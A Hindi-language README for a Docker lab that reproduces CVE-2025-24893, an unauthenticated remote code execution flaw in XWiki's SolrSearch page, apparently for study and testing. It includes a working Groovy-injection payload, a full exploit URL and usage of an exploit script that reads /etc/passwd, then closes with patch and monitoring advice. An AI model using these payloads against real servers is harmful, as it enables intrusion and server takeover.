
XWiki SolrSearch (CVE-2025-24893) के लिए एक अप्रमाणित दूरस्थ कोड निष्पादन शोषण, text पैरामीटर में Groovy इंजेक्शन के माध्यम से, Docker-आधारित प्रयोगशाला वातावरण और PoC स्क्रिप्ट के साथ।
Main.SolrSearch पृष्ठ मेहमानों के लिए खुला है, फिर भी यह उपयोगकर्ता इनपुट text पैरामीटर को पर्याप्त सत्यापन के बिना XWiki सिंटैक्स के रूप में मूल्यांकन करता है।text में {{groovy}} मैक्रो डालकर सर्वर पर मनमाना Groovy कोड निष्पादित कर सकता है, और "command".execute() के माध्यम से ऑपरेटिंग सिस्टम कमांड भी कॉल कर सकता है। यह भेद्यता बिना किसी अलग लॉगिन या टोकन के एकल GET अनुरोध के साथ शोषण योग्य है।यह निर्देशिका आधिकारिक XWiki स्टैंडअलोन वितरण 15.10.1 और Java 17 रनटाइम का उपयोग करके भेद्य वातावरण सेट करती है।
| वस्तु | विवरण |
|---|---|
| CVE | CVE-2025-24893 |
| उत्पाद | XWiki Platform |
| भेद्य संस्करण | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| पैच संस्करण | 15.10.11, 16.4.1 |
| भेद्यता प्रकार | Eval Injection -> बिना प्रमाणीकरण के RCE |
| प्रमाणीकरण आवश्यकता | आवश्यक नहीं |
| प्रभाव | सर्वर कमांड निष्पादन संभव |
Main.SolrSearch एंडपॉइंट मेहमानों के लिए सुलभ होना चाहिए।text पैरामीटर को XWiki सिंटैक्स के रूप में मूल्यांकन करने में सक्षम होना चाहिए।groovy मैक्रो निष्पादन योग्य स्थिति में होना चाहिए।यह वातावरण XWiki 15.10.1 का उपयोग करता है, इसलिए यह उपरोक्त शर्तों को पूरा करता है।
docker compose up -d --build
प्रारंभिक निष्पादन पर स्वचालित स्थापना होती है, इसलिए इसमें कुछ मिनट लग सकते हैं (लगभग 6-7 मिनट)।
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
उपरोक्त आदेशों के परिणाम में "Status":"healthy" स्थिति दिखने पर पर्यावरण सेटअप पूर्ण हो जाता है और शोषण संभव होता है।
pip install requests
exploit.py चलाने से पहले निर्भरता स्थापित करें।
मुख्य पेलोड नीचे दिया गया है।
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
उपरोक्त पेलोड text पैरामीटर में डाला जाता है और Main.SolrSearch पृष्ठ पर मूल्यांकित किया जाता है। परिणामस्वरूप, println("id".execute().text) सर्वर पर निष्पादित होता है, और कमांड निष्पादन परिणाम RSS प्रतिक्रिया निकाय में परावर्तित होता है।
पूर्ण निष्पादन स्क्रिप्ट के लिए exploit.py देखें।
python3 exploit.py
उपरोक्त पायथन कोड चलाने से PoC का पुनरुत्पादन संभव है। डिफ़ॉल्ट कमांड id है।
python3 exploit.py -c "cat /etc/passwd"
दूसरा कमांड निष्पादित करने के लिए, ऊपर दिखाए अनुसार तर्क पास करें।
या URL के माध्यम से अनुरोध भेजें (id आउटपुट करने वाला पेलोड)।
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D


15.10.11 या उससे ऊपर, या 16.4.1 या उससे ऊपर अपडेट करें।SolrSearch पहुँच लॉग की निगरानी करें।